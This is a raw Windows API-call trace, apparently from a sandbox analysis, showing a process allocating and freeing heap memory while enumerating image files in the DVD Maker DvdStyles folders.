[0067.172] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.172] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.172] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.172] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.172] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.172] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0067.172] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.172] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc64a8 [0067.172] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc79c8 [0067.172] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xe40) returned 0xfaa438 [0067.172] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfca510) returned 1 [0067.172] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.172] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0067.172] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.172] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.172] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.172] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.172] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc64c8 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc7ad0 [0067.173] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.173] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.173] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.173] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc64e8 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc7bd8 [0067.173] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.173] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.173] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.173] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca528 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc7ce0 [0067.173] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.173] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.173] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.173] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.174] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca548 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc7de8 [0067.174] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.174] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.174] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.174] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca568 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc7ef0 [0067.174] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.174] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.174] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.174] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca588 [0067.174] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc7ff8 [0067.175] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.175] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.175] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.175] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca5a8 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8100 [0067.175] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.175] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.175] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.175] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca5c8 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8208 [0067.175] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.175] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.175] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.175] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.175] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.176] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca5e8 [0067.176] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8310 [0067.176] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.176] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0067.176] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.176] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.176] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.176] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.176] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.176] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca608 [0067.176] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8418 [0067.176] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.176] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0067.176] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.176] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.176] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.176] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.176] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.176] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca628 [0067.176] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8520 [0067.176] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.176] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0067.176] GetLastError () returned 0x12 [0067.176] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0067.177] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0067.177] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0067.177] GetLastError () returned 0x12 [0067.177] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.177] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0067.178] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0067.178] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.178] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.178] 